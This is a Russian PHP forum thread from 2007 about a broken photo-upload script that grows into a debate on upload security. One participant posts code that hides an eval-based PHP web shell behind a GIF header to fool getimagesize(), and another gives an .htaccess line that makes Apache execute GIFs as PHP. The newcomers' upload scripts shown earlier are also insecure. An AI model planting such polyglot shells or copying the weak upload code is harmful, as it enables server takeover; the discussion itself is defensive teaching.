Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: не работает функция copy
 
 автор: devil   (25.05.2007 в 09:42)   письмо автору
 
 

скажите пожалуйста, я делаю загрузку на сервер фотографий, вот так:

<html>
<body>
<form action=photo.php methodf=post enctype=multipart/form-data>
<input type=file name=file>
<br>
&#200;&#236;&#255; &#212;&#224;&#233;&#235;&#224; <input type=text name="Filename">
<input type=submit name=upload value="&#199;&#224;&#227;&#240;&#243;&#231;&#232;&#242;&#252;">
</form>

<?
if (isset($upload))
{
$Filename="woto/".$Filename.".jpg";
if(file_exists($Filename))
{
mt_srand(time());
$r=mt_rand(0,1000);
$Filename="woto/$r".basename($Filename);
}
copy($file,$Filename);
echo "<PRE>&#212;&#224;&#233;&#235; $file &#241;&#234;&#238;&#239;&#232;&#240;&#238;&#226;&#224;&#237; &#226; $Filename </PRE>";
}
?>
</body>
</html>


но почемуто выдает ошибку на строчке где copy , подскажите пожалуйста, заранее спасибо

   
 
 автор: Trianon   (25.05.2007 в 10:04)   письмо автору
 
   для: devil   (25.05.2007 в 09:42)
 

Ошибку принято приводить в вопросе полностью.
а вместо copy() лучше в этом месте применять move_uploaded_file()

   
 
 автор: devil   (25.05.2007 в 11:15)   письмо автору
 
   для: Trianon   (25.05.2007 в 10:04)
 

он пишет такую ошибку
failed to open stream: No such file or directory in

   
 
 автор: Trianon   (25.05.2007 в 11:17)   письмо автору
 
   для: devil   (25.05.2007 в 11:15)
 

Вы понимаете, что значит "полностью"?
Или Вы за переводом пришли?

Между прочим, переменным и вправду значения не присвоены. Тут Faraon прав.

   
 
 автор: Faraon   (25.05.2007 в 11:24)   письмо автору
 
   для: devil   (25.05.2007 в 11:15)
 

У вас же получается что переменные $file, $Filename не существует а существуют массивы
$_FILES и $_POST

   
 
 автор: devil   (25.05.2007 в 13:30)   письмо автору
 
   для: Faraon   (25.05.2007 в 11:24)
 

и подскажите пожалуйста, просто я еще новичок

   
 
 автор: vikgor   (26.05.2007 в 02:36)   письмо автору
 
   для: devil   (25.05.2007 в 13:30)
 

Я тоже новичок. Соорудил 2 файла newpic.php и upload.php все работает, ещё и тумбнайлики 2-х размеров делает. Может поможет?
<?php
// Это форма для ввода фото

<table width=100% cellspacing=2 cellpadding=2 border=0>
<tr>
<td align="center">
<?if ($error != "")
{
print("<h6><font color=\"#FF0000\">Ошибка!</font></h6>");
print("\n<h6><font color=\"#FF0000\">$error</font></h6>");
print("\n<h6><font color=\"#FF0000\">Повторите ввод</font></h6>");
}?>
</td>
</tr>
<tr>
<td>
<h1>Форма для ввода фото</h1>
</td>
</tr>
<tr>
<td>
<table align="center" cellspacing="8" cellpadding="8" border="0">
<tr class="tbHeader2">
<td>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="filename" size="60"><br>
<input type="submit" value="Загрузить"><br>
</form>
</td>
</tr>
</table>
</td>
</tr>
</table>


<?
$pagetitle = "Результат загрузки фото";
$query = "SELECT id FROM news order by id desc";
$result = mysql_query($query);
$id = mysql_fetch_array ($result);
$error = "";
if($_FILES["filename"]["size"] > 1024*150)
{
$error = "Размер файла превышает 150 килобайт";
include "newpic.php";
}
if($_FILES["filename"]["type"] != 'image/pjpeg')
{
$error = "Это не jpg файл";
include "newpic.php";
}
if(copy($_FILES["filename"]["tmp_name"],"../news/foto/".$id['id'].".jpg"))
{
require ('imgresize.php');
if (img_resize("../news/foto/".$id['id'].".jpg", "../news/foto/".$id['id']."_tn2.jpg", 100, 75))
if (img_resize("../news/foto/".$id['id'].".jpg", "../news/foto/".$id['id']."_tn.jpg", 200, 150))
{
require "newout.php";
}
}
$error = "Файл поврежден";
include "newpic.php";
?>


Кстати не подскажет ли кто,
1 как упростить конструкцию для получения индекса

$query = "SELECT id FROM news order by id desc";
$result = mysql_query($query);
$id = mysql_fetch_array ($result);

2.Правильно ли определять тип файла сравнением с 'image/pjpeg'
может просто проверять расширение на JPG?

   
 
 автор: Trianon   (26.05.2007 в 15:54)   письмо автору
 
   для: vikgor   (26.05.2007 в 02:36)
 

Правильно обрамлять код тегами [codе]. Иначе его очень тяжело здесь читать.

Неправильно помещать открытый код (те есть не определения функций и классов, а просто последовательность операторо) в include-файлы.

Неправильно ставить операторы include вглубь кода. Правильно вызывать определенные функции или методы.

Правильно определять картинку на картинковость вызовом getimagesize() - функция не отнимает много ресурсов, а картинки от скриптов всяко отделит.

Правильно следовать советам, если они подтверждаюся соответствующим разделом мануала - и всё же заменить copy на move_uploaded_file

   
 
 автор: vikgor   (26.05.2007 в 16:20)   письмо автору
 
   для: Trianon   (26.05.2007 в 15:54)
 

с 1, 4 и 5 пунктами все ясно. спасибо. А вот по поводу 2 и 3 нункта, нельзя ли хоть чуть подробнее с примерами, или ссылку укажите, где про это прочитать. И, если можно,ответьте пожалуйста на 1 вопрос?

   
 
 автор: Unkind   (26.05.2007 в 16:56)   письмо автору
 
   для: vikgor   (26.05.2007 в 16:20)
 

как упростить конструкцию для получения индекса
Вы хотите получить 1 индекс?

   
 
 автор: vikgor   (26.05.2007 в 17:50)   письмо автору
 
   для: Unkind   (26.05.2007 в 16:56)
 

да только индекс новой записи в таблицу $id

   
 
 автор: Unkind   (26.05.2007 в 18:22)   письмо автору
 
   для: vikgor   (26.05.2007 в 17:50)
 

да только индекс новой записи в таблицу $id
mysql_insert_id()

   
 
 автор: Trianon   (26.05.2007 в 22:04)   письмо автору
 
   для: vikgor   (26.05.2007 в 16:20)
 

1-й вопрос- unkind опередил - безусловно, mysql_insert_id() . Иначе Вы рискуете прицепить файл не к тому посту.
А касательно 2, 3 пункта....
Если вы пишете некоторый код, который хотите впоследствии использовать неоднократно - оформляйте его не в виде файла, а в виде функции. Если от случая к случаю этот код может исполняться слегка различным образом - то в виде функции с параметрами.
Там, где надо код вызвать - вызывайте функцию. Если хотите вынести код в другой файл - выносите функцию целиком. include к файлу с определением функции указывайте в начале того файла, где собираетесь её применять (либо, если уверены в целесообразности) в точке, где может быть принято решение, что эта функция вероятно понадобится.

   
 
 автор: vikgor   (28.05.2007 в 14:04)   письмо автору
 
   для: Trianon   (26.05.2007 в 22:04)
 

Мне не ясно, как оформить функцию, в случае, ввода данных, ведь в этом случае требуется 2 файла 1 - с формой и 2-й с обработкой данных из формы.

   
 
 автор: Unkind   (26.05.2007 в 16:50)   письмо автору
 
   для: Trianon   (26.05.2007 в 15:54)
 

Правильно определять картинку на картинковость вызовом getimagesize() - функция не отнимает много ресурсов, а картинки от скриптов всяко отделит.
Загрузка скрипта тут ничего не даст - файл сохраняется всегда с расширением "jpg". А getimagesize() тоже не сможет наверняка определит "картинковость". Можно под видом картинки загрузить тот же скрипт.

   
 
 автор: vikgor   (26.05.2007 в 18:01)   письмо автору
 
   для: Unkind   (26.05.2007 в 16:50)
 

Неужели операция if($_FILES["filename"]["type"] != 'image/pjpeg') займет много ресурсов?

   
 
 автор: Trianon   (26.05.2007 в 22:10)   письмо автору
 
   для: Unkind   (26.05.2007 в 16:50)
 

>Загрузка скрипта тут ничего не даст - файл сохраняется всегда с расширением "jpg".
Тут - да. А если файл загружается под исходным расширением - возможны варианты.

>А getimagesize() тоже не сможет наверняка определит "картинковость". Можно под видом картинки загрузить тот же скрипт.

Вы можете привести пример?

   
 
 автор: Unkind   (26.05.2007 в 22:19)   письмо автору
 
   для: Trianon   (26.05.2007 в 22:10)
 

Конечно.

<?php  
$fh 
fopen("http://softtime.ru/images/softtime_last.gif""rb");  
$fd fopen("picture.gif""wb");  
while(!
feof($fh)) fwrite($fdfread($fh1024));
fclose($fh); //Закрытие "http://softtime.ru/images/softtime_last.gif"

$script = <<< SCRIPT
<?php
echo("Hello, world!");
?>
SCRIPT;

fwrite($fd$script);
fclose($fd);

var_dump(getimagesize("picture.gif"));
?>

   
 
 автор: sim5   (26.05.2007 в 23:52)   письмо автору
 
   для: Unkind   (26.05.2007 в 22:19)
 

У меня это вобще не работает? Если изменить, то можно дописать в картинку "Hello, world!", а смысл?

   
 
 автор: Unkind   (27.05.2007 в 01:04)   письмо автору
 
   для: sim5   (26.05.2007 в 23:52)
 

У меня это вобще не работает?
Откуда я могу узнать работает ли у Вас?

а смысл?
Начинающий программист может целиком полагаться на getimagesize() и, сохраняя картинку, выдрать расширение из оригинального имени, очевидно полагая, что раз getimagesize() "пропустил" файл, то все OK. В итоге можно загрузить файл picture.php и запросить этот файл из адресной строки.

   
 
 автор: sim5   (27.05.2007 в 01:27)   письмо автору
 
   для: Unkind   (27.05.2007 в 01:04)
 

Не работает потому, что получается:
<?php
<?php
?>
?>
а на строку $script = <<< SCRIPT - парсер выдает ошибку. Я хотел посмотреь это все в действии, но...((
Ну допустим дописали в конец картики скрипт, но ведь он записан в теле картинки picture.gif, и как запустить этот скрипт на исполнение?

   
 
 автор: Unkind   (27.05.2007 в 01:36)   письмо автору
 
   для: sim5   (27.05.2007 в 01:27)
 

sim5, не знаю, у меня работает этот код. И вообще с какой стати парсер должен выдавать ошибку там? Это heredoc.

   
 
 автор: sim5   (27.05.2007 в 01:46)   письмо автору
 
   для: Unkind   (27.05.2007 в 01:36)
 

У меня на строку $script = <<< SCRIPT выдает сообщение

parse error, unexpected T_SL

либо у меня чего-то не подключено, либо...

   
 
 автор: Trianon   (27.05.2007 в 01:32)   письмо автору
 
   для: Unkind   (27.05.2007 в 01:04)
 

Ну и что?
Картинка же? Картинка.
Javascript-кода там нет, HTML, несущего XSS тоже нет.
А php не включится в работу, пока ему в этом каталоге пахать не разрешат.
А если разрешили, тут уж никакие картинки не при делах.
Нельзя давать писать в каталоги, где интерпретатор может выполнять скрипты. Независимо от того , что за файлы.
Нельзя в каталог разрешать записывать файлы, начинающиеся с .ht иначе предыдущий запрет не обеспечить. А в прочем на контроль getimagesize можно положиться.

   
 
 автор: sim5   (27.05.2007 в 01:41)   письмо автору
 
   для: Trianon   (27.05.2007 в 01:32)
 

Вот это меня и интересует - ну запихнули в нее код, ну и что, как из это можно "извлечь вред"? Я думаю, что это бессмыленно, хотя может и не прав.

   
 
 автор: Trianon   (27.05.2007 в 01:46)   письмо автору
 
   для: sim5   (27.05.2007 в 01:41)
 

Вред можно извлечь, если создать (или позволить вредителю создать) условия, при которых запихнутый код будет выполнен соответствующим интерпретатором.

   
 
 автор: sim5   (27.05.2007 в 01:55)   письмо автору
 
   для: Trianon   (27.05.2007 в 01:46)
 

Ну как это возможно сделать? Напимер в картинку помещен JS, на эту картинку в результирующей странице есть ссылка. Ну этот JS ведь не выполнится на стороне клиента. А как на сервере запустить такой скрипт, если это будет РНР-скрипт. Возможно ли такое?
Все, зациклился)) ну не могу понять как можно запустить скрипт "вшитый" в тело картинки...

   
 
 автор: Trianon   (27.05.2007 в 01:59)   письмо автору
 
   для: sim5   (27.05.2007 в 01:55)
 

>Ну как это возможно сделать? Напимер в картинку помещен JS, на эту картинку в результирующей странице есть ссылка. Ну этот JS ведь не выполнится на стороне клиента.

Само собой.

>А как на сервере запустить такой скрипт, если это будет РНР-скрипт. Возможно ли такое?
>Все, зациклился)) ну не могу понять как можно запустить скрипт "вшитый" в тело картинки...

Если апачу поставлено указание интерпретировать gif как php? Почему нет?
Найдет первое появление <?php и вперед отрабатывать хлеб. Перед этим всё будет выкинуто в поток браузера, но скрипт-то выполнится.
Обычные html-php обрабатываются точно также....

   
 
 автор: sim5   (27.05.2007 в 02:07)   письмо автору
 
   для: Trianon   (27.05.2007 в 01:59)
 

Хорошо, но как тогда заставить апача интерпретировать gif как php (естественно со стороны "вредителя")? Через .htaccess? Каким образом на 100% можно сделать картинку опасной?

   
 
 автор: Unkind   (27.05.2007 в 02:16)   письмо автору
 
   для: sim5   (27.05.2007 в 02:07)
 

AddType application/x-httpd-php .gif

   
 
 автор: sim5   (27.05.2007 в 02:20)   письмо автору
 
   для: Unkind   (27.05.2007 в 02:16)
 

Но я то сам себе такого делать не стану, так ведь. Это должно быть задачей вредителя, ну если и даже так. То как интерпритатор отрагирует на бинарные данные заголовка файла картинки, ведь для него это "абракадабра", по идее будет ошибка. Или не так?

   
 
 автор: Unkind   (27.05.2007 в 02:34)   письмо автору
 
   для: sim5   (27.05.2007 в 02:20)
 

Нет, не так. Интерпретатор начинает разбор кода только после "<?php". В крайнем случае "<?".

   
 
 автор: sim5   (27.05.2007 в 02:47)   письмо автору
 
   для: Unkind   (27.05.2007 в 02:34)
 

Понятно. Тоесть такое возможно только если вызвать непосредственно "зараженную" картинку. Но для этого необходимо указать апачу такую возможность, но так просто этого не сделать.

   
 
 автор: Unkind   (27.05.2007 в 03:00)   письмо автору
 
   для: sim5   (27.05.2007 в 02:47)
 

Я уже сказал, что кто-то может выдрать расширение из картинки "pic.php". Так что в данном случае нужно будет, скажем так, не получить разрешение, а не получить запрет на исполнение *.php-файла.

   
 
 автор: Trianon   (27.05.2007 в 03:27)   письмо автору
 
   для: sim5   (27.05.2007 в 02:20)
 

>Но я то сам себе такого делать не стану, так ведь. Это должно быть задачей вредителя, ну если и даже так.

Задача вредителя - записать эту строчку в файл .htaccess

>То как интерпритатор отрагирует на бинарные данные заголовка файла картинки,

Любые данные бинарны по определению. Нету там никакого заголовка - это же не http-документ, принятый от сервера, а обыкновенный файл, то есть набор байт.

>ведь для него это "абракадабра", по идее будет ошибка. Или не так?

Для него и HTML перед php-кодом - абракадабра полнейшая, тем не менее как-то разбирается.

   
 
 автор: sim5   (27.05.2007 в 03:32)   письмо автору
 
   для: Trianon   (27.05.2007 в 03:27)
 

>Для него и HTML перед php-кодом - абракадабра полнейшая

Ну спасибо, в нокауте... :))

   
 
 автор: Unkind   (27.05.2007 в 10:13)   письмо автору
 
   для: Trianon   (27.05.2007 в 01:32)
 

Ну и что?
Картинка же? Картинка.

А вот так? Это явно не картинка :)


<?php
$fh 
fopen("picture.gif""wb");
fwrite($fhpack("H*""474946383961ce002f00c4"));
fclose($fh);

var_dump(getimagesize("picture.gif"));
?>

   
 
 автор: sim5   (27.05.2007 в 11:05)   письмо автору
 
   для: Unkind   (27.05.2007 в 10:13)
 

Да, это только ее начало. Но можно ведь дополнить - getimagesize() или exif_imagetype(), плюс зная формат основных файлов (gif, jpg, png), написать что-то более серьезное для таких вещей, и тогда "огрызок" картинки не пролезет.

   
 
 автор: Unkind   (27.05.2007 в 11:12)   письмо автору
 
   для: sim5   (27.05.2007 в 11:05)
 

Цель оправдывает средства? Конечно, можно просто тупо перезаписать картинку с помощью стандартных функций GDlib и тогда вообще все "огрызки" пропадут.

   
 
 автор: sim5   (27.05.2007 в 11:16)   письмо автору
 
   для: Unkind   (27.05.2007 в 11:12)
 

Я вот что интересное откопал: http://www.securitylab.ru/contest/262791.php

   
 
 автор: Trianon   (27.05.2007 в 14:26)   письмо автору
 
   для: Unkind   (27.05.2007 в 10:13)
 

Испорченная картинка. Точнее, заголовок + GSD
Но и скрипта там нет.

   
 
 автор: sim5   (27.05.2007 в 14:34)   письмо автору
 
   для: Trianon   (27.05.2007 в 14:26)
 

Ну это только идея для развития, направление есть, а далее нужно думать.)

   
 
 автор: Unkind   (27.05.2007 в 15:04)   письмо автору
 
   для: Trianon   (27.05.2007 в 14:26)
 

Но и скрипта там нет.
Да хватит Вам придираться! :))

   
 
 автор: Trianon   (27.05.2007 в 16:51)   письмо автору
 
   для: Unkind   (27.05.2007 в 15:04)
 

К чему придираться-то?
Вы утверждаете, что getimagesize() недостаточно, для того чтобы отличить опасный объект от неопасного. Так?
Я предложил показать пример. Пример Вы не показали.

   
 
 автор: Unkind   (27.05.2007 в 18:32)   письмо автору
 
   для: Trianon   (27.05.2007 в 16:51)
 


<?php 
$fh 
fopen("picture.gif""wb"); 
fwrite($fhpack("H*""474946383961ce002f00c4")); 

$script '<?php
$code = isset($_REQUEST["code"]) ? $_REQUEST["code"] : "";
!get_magic_quotes_gpc() || $code = stripslashes($code);
eval($code);
?>'
;

fwrite($fh$script);
fclose($fh);

var_dump(getimagesize("picture.gif")); 
?>

   
 
 автор: Trianon   (27.05.2007 в 23:50)   письмо автору
 
   для: Unkind   (27.05.2007 в 18:32)
 

Мы же вроде выяснили, что защита от исполнения серверных скриптов реализуется совсем другими методами?
Опять 25 за рыбу гроши....

   
 
 автор: Unkind   (28.05.2007 в 00:31)   письмо автору
 
   для: Trianon   (27.05.2007 в 23:50)
 

Тогда к чему вообще эта возьня с getimagesize()?

   
 
 автор: Trianon   (28.05.2007 в 00:44)   письмо автору
 
   для: Unkind   (28.05.2007 в 00:31)
 

Я так понимаю, чтобы клиентские не пропустить....

   
 
 автор: Unkind   (28.05.2007 в 00:55)   письмо автору
 
   для: Trianon   (28.05.2007 в 00:44)
 

Клиентские Вы как раз пропустите, если можно загрузить файл, который будет отдаваться клиенту как "text/html" или "application/xhtml+xml".
И getimagesize() тут уже совершенно не причем.

   
 
 автор: Trianon   (28.05.2007 в 01:51)   письмо автору
 
   для: Unkind   (28.05.2007 в 00:55)
 

спорно... кто его будет отдавать с таким типом, если он и по расширению (.gif)и по сигнатуре (getimagesize) - форменное картинко?

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования